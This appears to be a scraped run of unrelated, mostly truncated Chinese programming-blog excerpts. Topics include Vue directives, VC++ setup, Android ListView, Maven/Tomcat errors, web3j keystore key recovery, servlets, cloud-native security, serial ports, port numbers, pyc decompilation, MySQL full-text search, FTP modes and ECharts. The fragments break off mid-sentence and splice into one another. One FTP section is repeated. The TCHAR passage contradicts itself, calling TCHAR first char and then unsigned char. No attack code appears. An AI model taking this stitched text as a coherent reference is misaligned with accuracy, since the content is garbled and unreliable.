bind:只调用一次,指令第一次绑定到元素时候调用,定义一个绑定时只执行一次的初始化动作。inserted:被绑定元素插入父节点的时候调用(父节点存在即可调用,不必存在document中)update:被绑定与元素所在模板更新时调用,而且无论绑定值是否有变化;通过比较更新前后的绑定值,忽略不必要的模板更新。componentUpdate:被绑定元素所在模板完成一次更新周期的时候调用。unbind:只调用一次,指令与元素解绑的时候调用。 div id="app"> <input type="text" v-model="msg" v-focus v-color> <!--<input v-focus type="
用VC++6.0简单创建C语言文件教程 先找到桌面上的图标双击打开
打开后点左上角文件,然后新建。
或者快捷键ctrl+N
如下:
按着下面的步骤进行
1:选择工程
2:选Win 32 Console Application,别选错!
3:为文件起一个名字
4:选一下文件存放的位置,建议单独创建一个文件夹专门存放你们写的程序
5:确定
4.
上一步后,点与确定完成之后
继续点文件,然后新建
或者快捷键ctrl+N
来到这里:
1:点文件
2:选C++Source File别选错!
3:起个名字
4:确定
5.接下来就可以写文件了
下面是我写好的文件:
写好后
1:点那个按钮进行编译
2:看到0个错误,0个提醒就可以运行了
3:点他,就是指向的位置
6:
然后你们的第一个C语言程序就完成了,鼓励一下自己吧。哈哈
正式看此文章前,请先浏览https://blog.csdn.net/weixin_44462664/article/details/102565639
实现登陆后在下个活动中显示ListView 在 包名下 ⋙ New ⋙ 新建实体类 Item.java 文件
public class Item { private String account; private String password; public void setAccount(String account){ this.account =account; } public void setPassword(String password){ this.password =password; } public String getAccount(){ return account; } public String getPassword(){ return password; } } 在layout目录下 ⋙ New ⋙ XML ⋙ Layout XML File 新建 item.xml布局文件作为ListView子项的布局文件
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="horizontal" > <TextView android:id="@+id/account" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_weight="1" android:text="
maven中通过插件启动Tomcat报错
报错原因
严重: A child container failed during start Caused by: org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Tomcat].StandardHost[localhost].StandardContext[]] Caused by: java.lang.ClassCastException: class org.springframework.web.SpringServletContainerInitializer cannot be cast to class javax.servlet.ServletContainerInitializer (org.springframework.web.SpringServletContainerInitializer is in unnamed module of loader org.apache.catalina.loader.WebappClassLoader @1d03917; javax.servlet.ServletContainerInitializer is in unnamed module of loader org.codehaus.plexus.classworlds.realm.ClassRealm @dc4a691) 更改pom.xml中的配置
<dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>javax.servlet.jsp-api</artifactId> <version>2.2.1</version> <scope>provided</scope> </dependency> 需要加<scope>provided</scope>
产生的原因是:tomcat中也有servlet-api包,这样发生了冲突
因为provided表明该包只在编译和测试的时候用,所以,当启动tomcat的时候,就不会冲突了.
//根据keystore解锁账号返回私钥 public static String getPrivatekeybyKeystore(String keyStorePass) { try { ClassPathResource resource = new ClassPathResource("keystore.json"); File files = asFile(resource.getInputStream()); org.web3j.crypto.Credentials credentials = WalletUtils.loadCredentials(keyStorePass,files); String privatekey = credentials.getEcKeyPair().getPrivateKey().toString(16); return privatekey; } catch (Exception e) { e.printStackTrace(); return null; } } public static File asFile(InputStream inputStream) throws IOException{ File tmp = File.createTempFile("keystore", ".json", new File("/")); OutputStream os = new FileOutputStream(tmp); int bytesRead = 0; byte[] buffer = new byte[8192]; while ((bytesRead = inputStream.
Dlu.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>登录</title> <style> tr{ height:50px; } td{ text-align: center; } </style> </head> <body> <form action="myServlet02" method="get"> <h1 align="center">登录</h1> <table width="500" border="1" cellspacing="0" cellpadding="0" align="center"> <tr> <td>账号:</td> <td><input type="text" name="username" /></td> </tr> <tr> <td>密码:</td> <td><input type="password" name="password" /></td> </tr> <tr> <td colspan="2"><input type="submit" value="登录" /></td> </tr> </table> </form> </body> </html> Servlet02.java
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.
角度转为弧度 import math math.radians(x) 弧度转为角度 import math math.degrees(x)
蚂蚁金服在过去十五年重塑支付改变生活,为全球超过十二亿人提供服务,这些背后离不开技术的支撑。在 2019 杭州云栖大会上,蚂蚁金服将十五年来的技术沉淀,以及面向未来的金融技术创新和参会者分享。我们将其中的优秀演讲整理成文并将陆续发布在“ 金融级分布式架构”公众号上,本文为其中一篇。 本文作者:何征宇,gVisor 创始人,蚂蚁金服研究员 在云原生发展趋势之下,金融行业想要应用云原生技术,安全问题是一个非常大的拦路虎,而云原生社区对安全问题的重视程度远远不够。蚂蚁金服在落地云原生的时候,解决安全问题是重中之重,经过探索与实践,我们沉淀出了一套从底层硬件到软件、从系统到应用层的全链路金融级云原生安全架构。 金融行业最重要的就是信任,我们认为, 安全所带来的信任,是一种无形的产品,支撑着所有金融业务 。 顺应互联网时代发展,金融行业与机构也发生了很多的变化,包括 App、小程序等更多的访问渠道,更快的业务变化,更多的第三方供应商。但是,不管怎么变化,金融行业有一点始终不变,那就是 Zero Fault,对错误的零容忍,也就是对稳定性和安全性的极高要求。 这里,我还想澄清大家对金融行业的一个错误看法,就是,大家都说金融机构有很多遗留系统,很多技术是十几年前的,就认为金融机构的技术是落后的。但其实,金融行业一直是科技含量非常高的。前段时间有一部电影上映,叫《蜂鸟计划》,根据真实事件改编,讲一帮做高频交易的人,为了降低从堪萨斯到纽约交易所的时间,建造了一条上千英里直通两地的光纤,想尽办法去争取那最后一毫秒。所以,金融行业并不只有平庸保守的科技,它同样也在追逐最前沿最先进的技术,我们的使命就是要用科技来进一步武装金融行业,为金融科技注入更多的活力。 云原生架构其实代表一种新的生产力,金融行业肯定是需要云原生的,它为我们带来了节约成本和敏捷开发的能力,但是在它前面还需要加一个定语,就是安全的云原生架构,它里面不仅仅包含之前的相对简单的安全方案,而是一个从端到端的全链路可信的安全解决方案。包括明晰代码所有权,做到可信启动,对镜像的制作和发布收口,配合账号体系,明晰应用的所有权和访问权限;以及安全可独立部署的精细化隔离方案,将安全策略和实施集成在基础架构中,对软件开发和测试透明。 这里我们着重分享蚂蚁金服正在实践的几项云原生安全技术,包括云原生网络安全 Service Mesh,安全容器,以及机密计算。 云原生网络安全:SOFAMesh 当前,云原生里除了容器之外第二大技术其实就是 Service Mesh,从蚂蚁的实践来看,其实它对金融安全有非常高的帮助。它至少可以做到三点: 策略化高效流量控制,可以帮助运维迅速适应业务快速变化; 全链路加密,保护端到端数据安全; 流量劫持与分析,当发现异常流量与容器时,进行流量阻断。 并且,这些工作对业务是透明的,不需要给业务开发增加负担,同时我们还可以对流量进行实时的语义分析等等,做比传统的防火墙更多的事情。 蚂蚁金服在对 Service Mesh 的探索中,推出了自己用 Golang 打造的 SOFAMesh,并且已经对外开源,希望和社区一起努力,让 Service Mesh 的理念和技术更加普及。 SOFAMesh 是基于 Istio 改进和扩展而来的 Service Mesh 大规模落地实践方案。在继承 Istio 强大功能和丰富特性的基础上,为满足大规模部署下的性能要求以及应对落地实践中的实际情况,所做的改进包括采用 Golang 编写的 SOFAMosn 取代 Envoy,极大降低了 Mesh 本身的开发难度,并做了一些创新性工作,例如合并Mixer到数据平面以解决性能瓶颈,增强 Pilot 以实现更灵活的服务发现机制,增加对 SOFARPC、Dubbo 的支持,等等。 更多详情可查看 SOFAMesh 的 GitHub 主页: https://github.com/sofastack/sofa-mesh 蚂蚁金服率先在生产环境中大规模落地 SOFAMesh,超过 10W+ 容器做到了 Mesh 化,平稳支撑了 618 大促,给我们带来了多协议支持、UDPA、平滑升级、安全等多方面的好处,并且对性能仅有轻微的影响,单跳 CPU 增加 5% 损耗,RT增加不到 0.
面板也是一个Swing容器,它可以作为容器容纳其他组件,但它也必须被添加到其他容器中。Swing中常用的面板包括JPanel面板以及JScrollPane面板。
JPanel面板可以聚集一些组件来布局。我们首先应该明确面板也是一种容器,因为它也继承自java.awt.Container类。
实例
import java.awt.BorderLayout; import java.awt.Container; import java.awt.GridLayout; import javax.swing.*; public class Demo7 extends JFrame{ public Demo7(){ setBounds(100,100,500,300);//设置窗体坐标和大小 setDefaultCloseOperation(EXIT_ON_CLOSE);//设置窗体关闭规则,关闭窗口时关闭程序 Container c=getContentPane(); c.setLayout(new GridLayout(2,2,10,10));//将整个容器设置为2行2列的网格布局 JPanel p1=new JPanel();//创建面板p1 p1.setLayout(new GridLayout(1,3,10,10));//设置p1为1行3列的网格布局 JPanel p2=new JPanel(new BorderLayout());//创建面板p2,设置为边界布局 JPanel p3=new JPanel(new GridLayout(1,2,10,10));//创建面板p3,设置1行2列的网格布局 JPanel p4=new JPanel(new GridLayout(2,1,10,10));//创建面板p4,设置2行1列的网格布局 p1.setBorder(BorderFactory.createTitledBorder("面板1"));//设置面板标题 p2.setBorder(BorderFactory.createTitledBorder("面板2")); p3.setBorder(BorderFactory.createTitledBorder("面板3")); p4.setBorder(BorderFactory.createTitledBorder("面板4")); p1.add(new JButton("p1"));//为面板p1添加按钮 p1.add(new JButton("p1")); p1.add(new JButton("p1")); p1.add(new JButton("p1")); p2.add(new JButton("p2"),BorderLayout.CENTER);//为面板p2添加按钮 p2.add(new JButton("p2"),BorderLayout.SOUTH); p2.add(new JButton("p2"),BorderLayout.WEST); p2.add(new JButton("p2"),BorderLayout.NORTH); p2.add(new JButton("p2"),BorderLayout.EAST); p3.add(new JButton("p3"));//为面板p3添加按钮 p3.add(new JButton("p3")); p4.add(new JButton("p4"));//为面板p4添加按钮 p4.
使用串口做精确信号发送的时候会经常出现不能时间不精确的问题,使用两个u口转串口串连之后一个接收一个发送的情况下
收到的时间延迟数据如下:
注意:这里的因为有一个接收缓冲区和一个发送缓冲区,所以这个时间延迟应该除以二(虽然这样并不严谨),大概可以得到正确的时间延迟。
可以看出关闭fifo或者是将延迟(缓冲区)调整到最低,可以很明显的降低这个延迟
这个设置方式是:
1、右击“此电脑”-->选择属性进入控制面板主页-->选择设备管理器
找到自己电脑上对应的端口:
右击对应的COM口:
选择端口设置-->高级
将这个选择为最低的1毫秒延迟
中国软件网 报道 | 公众号:Hapiweb-soft6
据外媒最新消息,美国互联网巨头谷歌也加入了推出5G手机的浪潮中,该公司已经开始试生产一款5G智能手机,最早将于15日发布。 实话说,笔者看到这个消息的时候,有点懵。 首先是因为国内对于谷歌手机还是比较陌生的,这与谷歌当年退出中国市场,不对中国提供相关服务有很大关系。 相当于说,整个手机在国内的使用过程中存在很大的局限性,用户体验就非常的差。 而且,目前已有不少全球知名的手机厂商推出了5G手机,像三星、华为与小米等厂商均发布了5G机型。 唯独苹果还未有推出新机型,同为美国厂商的谷歌这时候推出5G手机意欲何为? 其次,在智能手机领域,谷歌只能说算是其中的参与者之一,手机影响力在全球都没有很高的热度,在其它手机厂商动辄几千万销量的基础上,谷歌手机却只有几百万的销量,存在的差距还是显而易见。 因此,谷歌的此番动作颇有点说不清道不明的意味。 但回过头来想想,谷歌将推5G手机也算是情理之中,一方面目前5G手机的热度很高,谷歌能够推出新机型还是说明它对于智能手机业务还是很重视,另一方面这说不定对于谷歌来说也是一个机会,只是谷歌的5G手机要想出圈难度还是很大,谷歌做智能手机似乎真的行不通。 而据谷歌方的说法,此次推出5G智能手机是其自有品牌硬件大举扩张计划的一部分,是谷歌用自有品牌的硬件吸引消费者的战略计划的核心,谷歌准备把这些硬件和本公司更知名的搜索引擎、云计算和人工智能驱动的软件服务等更紧密地结合在一起。 谷歌首席执行官桑德尔·皮查伊在今年2月份的一次电话会议上对分析师表示:“将软件和硬件结合在一起,确实有很大的协同效应。 如今,谷歌体现网页搜索、软件等核心业务的手段是通过硬件。 随着我们加大硬件投入,你绝对可以看谷歌硬件更广阔的未来。 ” 也不知道谷歌的5G手机之路能不能跟上它的野心。 目前得到的消息是,谷歌将于今年的秋季发布会上推出5G手机,不过也有一种说法称,目前谷歌正在中国境内进行5G手机的“试生产”,如果谷歌认为该项手机不成熟,并且不利于手机发布的话,那么很有可能新品发布会会放在明年春季。 但即使是在明年春季上市销售,谷歌仍将在5G智能手机的市场竞争中领先于苹果。 笔者认为,谷歌连续不断的动作比如推出5G手机比如在硬件领域的投资计划明显加速等等,都毫不掩饰其野心,再加上公司雄厚的财力,将给诸多竞争对手带来巨大的压力。 比如,推出5G手机将会对苹果和三星电子和华为等其他领先硬件和手机制造商构成直接挑战。 同时,它还将向谷歌在搜索和软件领域的美国最大竞争对手微软发起挑战。 微软在2016年退出了智能手机业务,但是上周宣布以自己的折叠手机模式重返竞争激烈的智能手机市场。 即使身陷低谷也没想要放弃智能手机业务的谷歌,能借助这次5G手机的东风,来证明自己吗? 笔者也很好奇。 想了解更多“洞见2020 中国企服年会”的详细内容?点击阅读原文
我们与您相约北京香格里拉饭店(海淀区紫竹院路29号),限时免费报名!
计算机端口简介:
计算机端口号的范围是从 0 到 65535(2^16 - 1)。
大多数操作系统都支持多程序(进程)同时运行,那么目的主机应该把接收到的数据报传送给众多同时运行的进程中的哪一个呢?
端口机制便是为了解决这个问题而被引入进来的。
公认端口(Well Known Ports):从 0 到 1023,它们紧密绑定于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如:80 端口实际上总是 HTTP 通讯。
注册端口(Registered Ports):从 1024 到 49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口,这些端口同样用于许多其它目的。例如:许多系统处理动态端口从 1024 左右开始。
动态和/或私有端口(Dynamic and/or Private Ports):从 49152 到 65535。理论上,不应为服务分配这些端口。实际上,机器通常从 1024 起分配动态端口。但也有例外:SUN 的 RPC 端口从 32768 开始。
常用的端口号:
21:ftp(用于FTP服务)
22:ssh
23:Telnet服务
25:SMTP服务
80:http(用于浏览网页服务)
135:RPC服务
文章链接:https://www.cnblogs.com/-qing-/p/10631743.html
毕业设计工作日志 误差校正仿真 理论部分 Stewart平台位姿误差分析与标定研究 仿真部分基于Matlab的全局搜索 单通道控制算法设计 滑模论文根据论文仿真 填入参数,获取具体的传递函数 改进滑模的论文扰动及对照实验设计 稳定平台控制算法设计 稳定平台相关的论文建立双层仿真模型看论文寻找方向摸一摸交叉耦合(轮廓误差)方向以程佳博士位姿闭环为例的ADRC控制器 调一个PID的版本 动力学分析以增加正确的扰动 毕业设计工作日志 误差校正仿真 理论部分 Stewart平台位姿误差分析与标定研究 赵永杰、赵新华等采用对 Stewart 平台运动方程求解全微分的方法,得到了位姿误差和机构参数误差的关系,建立了位姿误差模型[23]Stewart机器人模型辨识及控制方法研究-李治根:提出一种基于运动学反解的标定方法,需要获得某一位姿下的理论杆长和实际杆长,在实际操作中,很难在有理论误差的前提下调整到需要位姿。我想到了,用未修正的反解做一次,获得的实际位姿对应的腿长就是实际腿长,理论腿长就是正解出来的值,这两者做差,获得的就是理论和实际的误差。实际操作
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BAwDO6YN-1571042876836)(http://img.sonihr.com/5397cc90-ddca-49ee-819f-0af8dcb87637.jpg)] 仿真部分 用带误差的反解模块来驱动带误差的模型,看看效果如何。 校正前
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ngioQjgV-1571042876838)(http://img.sonihr.com/446f7e0e-8001-4edf-a8be-453657d14138.jpg)]
矫正后
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PJHaIZtE-1571042876839)(http://img.sonihr.com/21d627d6-fbcf-4fb6-96ab-0c81243f805a.jpg)]
传感器有误差情况下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DVQCHpUo-1571042876840)(http://img.sonihr.com/1bf05886-2291-4b23-817d-892cf21a1d42.jpg)]
8月4日,已经完成了误差校正的工作,下一步任务是套用一个启发性算法作为创新点,优点是1.抗干扰2.避免局部最优。 基于Matlab的全局搜索 matlab全局最优工具箱连接 https://ww2.mathworks.cn/help/gads/how-globalsearch-and-multistart-work.html#bsc9eez
fmincon的推荐算法及理由 https://ww2.mathworks.cn/help/optim/ug/choosing-the-algorithm.html#bsbwxm7
最优化工具箱,输入optimtool即可打开,功能和命令行写函数一样 https://ww2.mathworks.cn/help/optim/ug/graphical-optimization-tool.html#bqu2j29
最优化算法预览首页 https://ww2.mathworks.cn/help/gads/index.html
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WCw8zGKo-1571042876851)(http://img.sonihr.com/dfc94426-8463-444c-a8ad-cb2d7947dc98.jpg)]
GA的参数设置 https://ww2.mathworks.cn/help/gads/ga.html#mw_4a8bfdb9-7c4c-4302-8f47-d260b7a43e26
粒子群参数设置 https://ww2.mathworks.cn/help/gads/particleswarm.html#budidgf-options
单通道控制算法设计 滑模论文 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UTQ7ZrTy-1571042876853)(http://img.sonihr.com/72e351be-ff84-4a9a-ab63-dbea7c1a8ee7.jpg)]
1.
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q0x2FaOD-1571042876855)(http://img.sonihr.com/f8434b1b-736e-4971-9d55-ee8469ddb679.jpg)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z6p8KvOW-1571042876859)(http://img.sonihr.com/39aeb1ed-a059-460e-85df-6a12ba4ccbe7.jpg)]
2.
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RzWF7TBQ-1571042876860)(http://img.sonihr.com/8da9daf0-0698-4c0c-814e-d8429024e395.jpg)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1k6zrkW5-1571042876861)(http://img.sonihr.com/c73d2ba5-71a4-4ca3-8152-d562ea4ebe4d.jpg)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G0Mk7gLT-1571042876863)(http://img.sonihr.com/bf314264-bf3c-4166-ad4d-0abdc6ba6f92.jpg)]
这篇是单通道的核心文献,有详细的三通道的设计过程
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pdTu1UNI-1571042876864)(http://img.sonihr.com/deab1d18-1151-4a4b-b414-765d649bd8ed.jpg)]
滑模控制进行位置控制
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IHHgzQBy-1571042876864)(http://img.sonihr.com/25b129fb-2f13-45ac-9277-db07d17bdbcf.jpg)]
上图的传递函数对应下图的红框中内容
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jgqpuUVk-1571042876867)(http://img.sonihr.com/6ca2f099-c4c9-48a6-990c-ec288c44531b.jpg)]
总结一下这篇文章单通道的思路:1.推导出单通道数学模型 2.电流环PI,速度环P 3.在电流环和速度环已经创建完毕的基础上,获得内环(速度+电流双闭环)的传递函数,然后根据传递函数写出状态方程。4.~~状态方程的x1x3其实本质上并不对应位置角度角速度等~,然后再根据状态方程和下图的控制器设计方法来设计一个滑模控制器。5.所以类比下文,状态方程有了,就在外面大闭环一个位置环就完事儿了。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GRErEjga-1571042876868)(http://img.sonihr.com/45d47727-d726-4c3b-a034-7e1e3cbf8b52.jpg)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QscgrSd9-1571042876869)(http://img.sonihr.com/54126128-7e21-4f2a-8170-6d944f083cd3.jpg)]
下面要进一步搞清楚x1,x2,x3是否有物理意义,这样我加T_L也方便
2019.8.15 这边的东西,我已经搞明白了。
首先,看一个用例:
前言 主要介绍下当我们的产品中依赖的某一个cdn如图片服务下线后,有哪几种方案来解决和处理这种情况。分别就手动代码层替换、全局异常监控、样式图片资源处理、nginx映射修改和serviceworker的各种方法进行对比。
解决方案 首先,一个cdn服务如果即将下线,我们需要把资源批量导到另一个cdn中。如果资源本身都不存在了,也没有办法解决这个问题了。
手动代码替换 cdn服务的图片,我们在代码中一般都会去指定url的引用。
比如:
<img class="f-fl" src="http://img1.ph.126.net/fJDziquhVcOupiyTYX9MDg==/3359685322118823946.png"> 如果项目维护性高,可能会将前缀设置为全局统一变量。
当我们要下线img1.ph.126.net,而转到img-ph-mirror.nosdn.127.net时。
我们可以使用全局代码替换的方式。这样的做法缺点就是:
1、如果前期开发人员维护意识差,需要每个位置都手动修改,并进行相关测试,工作量大。
2、由于只修改了代码层面,数据库内已有的数据无法修改,接口返回的动态数据加载资源依旧无法访问。
全局异常监控 在前端全局异常监控,拿到加载失败的图片,进行替换再手动操作dom来完成图片的替换。
核心逻辑如下:
window.addEventListener( "error", function(e) { // 当前异常是由图片加载异常引起的 var target = e.target; if ( target && target.tagName && target.tagName.toUpperCase() === "IMG" && // 判断是否是已失效的图片服务 _isImgph.test(target.src) ) { // 进行相应的图片替换规则 var newSrc = scaleImage(e.target.src); // 用于异常上报 console.warn("img加载图片失败:" + e.target.src); // 再手动赋值 e.target.src = newSrc; } }, true ); 这种方式看起来可以解决数据库和接口里来的动态数据。
但是它的缺陷也很明显:
1、存在资源加载顺序问题,如果资源先加载未捕获到(比如首屏渲染的数据),则失效;要解决必须把这块逻辑放最头部加载。
2、js只能监听js中的图片资源加载失败。如果是样式中的资源加载失败,这种方案毫无效果。
样式中图片监控 针对样式中的图片资源监控是个比较麻烦的问题,因为目前浏览器并没有提供相应的API来捕获其失败。
Python将pyc转为py
1、安装pip install uncompyle2
2、使用uncompyle2 xxx.pyc > xxx.py
python将py转为pyc
1、命令行
python -m py_compile file.py
python -m py_compile /root/src/{file1,file2}.py
2、脚本如:“script.py”
import py_compile py_compile.compile('path') //path是包括.py文件名的路径
python将py转为pyo
python -O -m py_compile file.py
1.其中的 -m 相当于脚本中的import,这里的-m py_compile 相当于上面的 import py_compile 2.-O 如果改成 -OO 则是删除相应的 pyo文件,具体帮助可以在控制台输入 python -h 查看
pyc文件:
当 py 文件加载后,py 文件被二进制编码成 pyc 文件。py 文件的修改时间被记录到 pyc 文件中。
这里的加载意味着要被其他模块导入,如果你只是运行 python filename.py,那么不会生成 pyc 文件。
pyc的作用:
pyc 文件是为了让加载 Python 模块更快,因为 pyc 相比 py 文件编译过程可以被跳过。
pyc 文件不能令执行更快。
mysql数据库进阶学习 二 全文检索模糊查询 like用法正则表达 全文检索 新建全文检索方式(支持中文全文检索):
本文使用mysql数据库版本为5.7+,InnoDB数据库引擎
全文检索解析器ngram(解决不支持中文检索方式,版本要求5.7.6+,为mysql内置插件,不需要安装,默认支持检索最短字符为2,即不支持单个字如’国’检索)
alter table news_info add fulltext index ft_in(title,category) with parser ngram; 第二种建立全文检索方法:
create fulltext index 检索名词(如:ft_in) on table_name(检索列名) with parser ngram; 其中fulltext表示全文,index索引,ft_in检索名称,(title,category)表示要设置全文检索的字段名,parser ngram即使用ngram全文解析。
执行完成后,就可以通过一下语句检索:
select *from news_info where match(title,category) against('中国' in boolean mode); 查询结果如下:
首先解释一下sql语句,使用全文检索的格式:
select xxx from table_name where match(自己设置的检索字段名) against('xx' in boolean mode); 关于设置ngram的最短检索字符值,请自行百度。
使用全文检索在数据量较大的情况下,比(like’’)模糊查询要更快一筹。
模糊查询 like用法 其实使用全文检索也可以达到模糊查询的效果,这里不做比较
注意使用like方法实现模糊查询会使建立好的索引失效(前提是你查询的字段名不是你建立的索引,例:我查询name,where条件是phone like‘%XXX%’其中phone设置了索引,但是name没有,那模糊查询就不会使用索引,如果查询的是phone,则模糊查询还是会使用索引,这是一个很细的细节哦)
关于检索的用法请看:mysql复合索引
使用sql语句:
select title from news_info where title like '%中国%' 这种like '%X%'是指查询包括x的所有数据,%指的是X之前无数个字符,或是X之后无数个字符 查询结果:
排列表示:
importances = model.feature_importances_ indices = np.argsort(importances)[::-1] feat_labels = X_train.columns print("Feature ranking:") # l1,l2,l3,l4 = [],[],[],[] for f in range(X_train.shape[1]): print("%d. feature no:%d feature name:%s (%f)" % (f + 1, indices[f], feat_labels[indices[f]], importances[indices[f]])) print (">>>>>", importances) 画图:
feature_importance = model.feature_importances_ sorted_idx = np.argsort(feature_importance) features_list = data.columns.values plt.figure(figsize=(5,20)) plt.barh(range(len(sorted_idx)), feature_importance[sorted_idx], align='center') plt.yticks(range(len(sorted_idx)), features_list[sorted_idx],) plt.xlabel('Importance') plt.title('Feature importances') plt.draw() plt.show() 筛选重要程度大于某个值的特征:
#将特征名称与对应的重要性数值做成dataframe fea = pd.DataFrame() fea['feature_name'] = feature_name fea['value'] = feature_importance fea.loc[fea['value'] >0 ] #找出重要性为0的特征 fea_0 = fea.
From:https://www.cnblogs.com/leanee/articles/2940088.html
char [] 到 LPWSTR转换的一个具体应用:http://www.cppblog.com/lateCpp/articles/153358.html
CString详细讲解:https://blog.csdn.net/qq_41786318/article/details/81989217
CString 应用操作指南【转】:https://blog.csdn.net/iteye_13411/article/details/82092838
VS2010/MFC编程入门之四十二(MFC常用类:CString类)
http://www.jizhuomi.com/software/228.html
因为 C++ 支持两种字符串 :
1. 常规的 ANSI 编码(使用 "" 包裹)2. Unicode 编码(使用 L"" 包裹) UNICODE 宏 和 _UNICODE 宏 (Windows 核心编程 第五版 2.4 节)
这样对应的就有了两套字符串字符串处理函数,比如:strlen 和 wcslen,分别用于处理两种字符串。微软将这两套字符集及其操作进行了统一,通过条件编译(通过 _UNICODE 和 UNICODE 宏)控制实际使用的字符集,这样就有了 _T("") 这样的字符串,对应的就有了_tcslen 这样的函数。为了存储这样的通用字符,就有了TCHAR:
当 没有定义 _UNICODE宏 时,TCHAR = char,_tcslen = strlen当 定义 _UNICODE宏 时,TCHAR = wchar_t , _tcslen = wcslen[1] 当我们定义了 UNICODE宏,就相当于告诉了编译器:我准备采用 UNICODE 版本。这个时候,TCHAR 就会摇身一变,变成了wchar_t 。而未定义 UNICODE宏 时,TCHAR 摇身一变,变成了unsigned char。这样就可以很好的切换宽窄字符集。
FTP的主动模式和被动模式 参考地址: https://blog.51cto.com/13688966/2105893
FTP文件传输分为两种模式,主动(PORT)模式和被动(Passive)模式,用户应该用哪种?
简单粗暴,直接上答案
1)如果不是必须需要,不要使用FTP服务,主动/被动模式,命令/数据端口,初学者很容易一下子就被搞蒙。
2)如果一定要使用FTP服务,在今天的互联网环境里面,使用FTP被动模式进行连接传输。不要使用主动模式,除非你真的知道你在做什么
如果只是想知道答案的朋友,看到这里就可以了。对技术和原理感兴趣的朋友,请继续往下。 FTP两种模式协议过程和原理 被动模式
从上图中可以看到,被动模式是FTP服务器返回数据传输需要的端口,FTP客户端去连接FTP服务端。
绝大部分的互联网应用(比如Web/Http),都是客户端向服务端发起连接。换句话说,绝大部分互联网应用都是被动模式。 主动模式 从上图中可以看到,主动模式是FTP客户端向FTP服务器发送数据传输需要的端口,FTP服务端去连接FTP客户端的端口,与被动模式刚好相反。
需要注意的是,被动模式和主动模式的登录过程,都是FTP客户端去连接FTP服务器。 为什么绝大部分互联网应用都是被动模式
因为大部分客户端都是在路由器后面,没有独立的公网IP地址,服务器想要主动连接客户端,难度太大,在现在真实的互联网环境里面几乎是不可能完成的任务
博主个人理解与经验 个人理解, 如果有误, 请指正 FTP的主动模式和被动模式 参考地址: https://blog.51cto.com/13688966/2105893
FTP文件传输分为两种模式,主动(PORT)模式和被动(Passive)模式,用户应该用哪种?
简单粗暴,直接上答案
1)如果不是必须需要,不要使用FTP服务,主动/被动模式,命令/数据端口,初学者很容易一下子就被搞蒙。
2)如果一定要使用FTP服务,在今天的互联网环境里面,使用FTP被动模式进行连接传输。不要使用主动模式,除非你真的知道你在做什么
如果只是想知道答案的朋友,看到这里就可以了。对技术和原理感兴趣的朋友,请继续往下。 FTP两种模式协议过程和原理 被动模式
从上图中可以看到,被动模式是FTP服务器返回数据传输需要的端口,FTP客户端去连接FTP服务端。
绝大部分的互联网应用(比如Web/Http),都是客户端向服务端发起连接。换句话说,绝大部分互联网应用都是被动模式。 主动模式 从上图中可以看到,主动模式是FTP客户端向FTP服务器发送数据传输需要的端口,FTP服务端去连接FTP客户端的端口,与被动模式刚好相反。
需要注意的是,被动模式和主动模式的登录过程,都是FTP客户端去连接FTP服务器。 为什么绝大部分互联网应用都是被动模式
因为大部分客户端都是在路由器后面,没有独立的公网IP地址,服务器想要主动连接客户端,难度太大,在现在真实的互联网环境里面几乎是不可能完成的任
博主理解与经验 1. 主动模式不安全 根据资料参考, 主动模式不安全的原因是数据传输端口是固定20, 会被黑客利用
但是博主特意没有放行服务器的20端口, FTP照样可以连接, 难道是自动开放了20端口
2. 被动模式开启需要注意的地方 参考了资料, 都只告诉你怎么去开启被动模式
但是没有指出, 被动模式, 是需要开放一些特定端口的
至于是哪些端口, 根据配置文件来, 例如下面博主的配置
这段配置的意思是被动模式采用 3000-3200 的随机一个端口进行数据传输
所以这里是需要防火墙放行3000-3200端口的
但是主动模式下为什么不需要放行20端口
博主也没弄清楚, 希望知道的不吝告知
第一步 设置点击事件,使用Ajax请求服务器 //入口 $(function(){ //点击事件 $("#province").click(function(){ var provinceData=[]; $.ajax({ url:"<%=request.getContextPath()%>/WorkProvinceServlet", type:"get", dataType:"json", success:function(data){ //遍历List,将数据转换为一个对象数组 $(data).each(function(i,v){ var temp={name:v.name,value:v.size};//省份,统计数量 provinceData.push(temp); }); //将处理过后的JSON传入getEchartsMap()方法中,设置地图数据 getEchartsMap(provinceData); } }); }); }); 第二步 Servlet获取数据库中的数据 Servlet方法 @WebServlet("/WorkProvinceServlet") public class WorkProvinceServlet extends HttpServlet { private static final long serialVersionUID = 1L; @Override protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding("utf-8"); response.setCharacterEncoding("utf-8"); System.out.println("WorkProvinceServlet"); response.setContentType("text/plain"); WorkProvinceService 